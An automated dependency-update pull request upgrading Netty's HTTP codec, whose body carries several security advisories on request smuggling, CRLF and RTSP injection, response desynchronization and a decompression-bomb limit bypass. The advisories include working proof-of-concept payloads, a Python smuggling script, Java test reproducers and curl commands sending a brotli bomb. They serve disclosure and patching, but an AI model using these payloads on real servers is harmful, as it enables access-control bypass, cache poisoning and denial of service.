Update dependency io.netty:netty-codec-http to v4.1.135.Final [SECURITY] (main) by renovatebot-confluentinc[bot] · Pull Request #34 · confluentinc/azure-sdk-for-java

renovatebot-confluentinc · 2025-09-05T05:16:36Z

ℹ️ Note

This PR body was truncated due to platform limits.

For any questions/concerns about this PR, please review the Renovate Bot wiki/FAQs, or the #renovatebot Slack channel.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
io.netty:netty-codec-http (source)	`4.1.119.Final` → `4.1.135.Final`
io.netty:netty-codec-http (source)	`4.1.118.Final` → `4.1.135.Final`

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-58056 / GHSA-fghv-69vj-qj49

More information

Details

Summary

A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.

Details

When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).

This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):

POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0

POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).

Impact

This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.

The impact is high, but it only affects setups that use a front-end which:

Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.
Forwards chunk extensions without normalization.

Disclosure

This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html

Discussion

Discussion for this vulnerability can be found here:

Credit

Credit to @JeppW for uncovering this vulnerability.
Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2025-67735 / GHSA-84h7-rjj3-6jx4

More information

Details

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @&#8203;Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-33870 / GHSA-pwqr-wmgm-9rr8

More information

Details

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser	Request 1	Request 2
Netty (vulnerable)	POST / body="X"	GET /smuggled (SMUGGLED)
RFC-compliant parser	400 Bad Request	(none — malformed request rejected)

Impact

Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
Cache Poisoning: Smuggled responses may poison shared caches.
Access Control Bypass: Smuggled requests can circumvent frontend security controls.
Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

Start the minimal proof-of-concept environment using the provided Docker configuration.
Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

java_netty.zip

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection

CVE-2026-41417 / GHSA-v8h7-rr48-vmmv

More information

Details

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

io.netty.handler.codec.http.DefaultHttpRequest
- The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
- setUri(String uri) only performs checkNotNull and does not validate
io.netty.handler.codec.http.DefaultFullHttpRequest
- setUri(String uri) delegates to the parent implementation
io.netty.handler.codec.http.HttpRequestEncoder
- Writes request.uri() directly into the request line
io.netty.handler.codec.rtsp.RtspEncoder
- Writes request.uri() directly into the request line

This creates the following bypass:

An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
Later, attacker-influenced input is passed into setUri()
HttpRequestEncoder or RtspEncoder encodes that value verbatim
The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

GET /s1
POST /s2 with body Hello World
trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

OPTIONS rtsp://cam/stream
DESCRIBE rtsp://cam/secret
OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

The application uses DefaultHttpRequest or DefaultFullHttpRequest
The request object is created first and later modified through setUri()
The value passed into setUri() is attacker-controlled or attacker-influenced
The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

perform HTTP request smuggling
trigger proxy/backend desynchronization
inject additional requests toward internal APIs
confuse request boundaries and bypass assumptions around authentication or routing
inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

verify that setUri() rejects CRLF-containing input after object construction
verify that DefaultFullHttpRequest.setUri() is blocked as well
verify that spaces, \r, \n, and request-smuggling payloads are rejected
verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses

Affected Area

netty-codec-http
io.netty.handler.codec.http.DefaultHttpRequest
io.netty.handler.codec.http.DefaultFullHttpRequest
io.netty.handler.codec.http.HttpRequestEncoder
io.netty.handler.codec.rtsp.RtspEncoder

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

CVE-2026-42580 / GHSA-m4cv-j2px-7723

More information

Details

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16;
result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@&#8203;Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

CVE-2026-42581 / GHSA-xxqh-mfjm-7mv9

More information

Details

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Field	Value
Library	`io.netty:netty-codec-http`
Component	`codec-http` — `HttpObjectDecoder`
Severity	HIGH
Affects	HEAD, commit `4f3533ae` confirmed

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.

Root Cause

// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
    this.chunked = true;
    if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
        handleTransferEncodingChunkedWithContentLength(message);  // strips CL — HTTP/1.1 only
    }
    return State.READ_CHUNK_SIZE;
}

// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
    contentLength = Long.MIN_VALUE;
}

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.

Proof of Concept

POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.

Conditions Required

Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes).
Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
No additional HTTP/1.0 stripping layer between attacker and Netty.

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.

Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.*;

public class NettySmugglingSec001Test {

    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
    @&#8203;Test
    public void http10_contentLengthNotStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.0\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
        // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
        ch.finishAndReleaseAll();
    }

    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
    @&#8203;Test
    public void http11_contentLengthStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.1\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
        ch.finishAndReleaseAll();
    }
}

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Severity

CVSS Score: 5.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty has HttpClientCodec response desynchronization

CVE-2026-42584 / GHSA-57rv-r2g8-2cj3

More information

Details

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites

HTTP/1.1 pipelining
HEAD in the pipeline
The server sends 1xx

PoC

    @&#8203;Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

Severity

CVSS Score: 7.3 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42585 / GHSA-38f8-5428-x5cv

More information

Details

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present.
According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

"
If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,
the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.
"

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@&#8203;Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS

CVE-2026-42587 / GHSA-f6hv-jmp6-3vwv

More information

Details

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

Configure a Netty HTTP server with decompression bomb protection:

pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max

Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):

import brotli
bomb = b'\x00' * (1024 * 1024 * 1024)  # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
    f.write(compressed)

##### compressed size: ~1KB

Send the bomb with gzip encoding (BLOCKED by maxAllocation):

##### This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: gzip' \
  --data-binary @&#8203;bomb.gz

##### Result: DecompressionException thrown at 1MB

Send the same bomb with brotli encoding (BYPASSES maxAllocation):

##### This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
  -H 'Content-Encoding: br' \
  --data-binary @&#8203;bomb.br

##### Result: Full 1GB decompressed into memory → OOM

The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

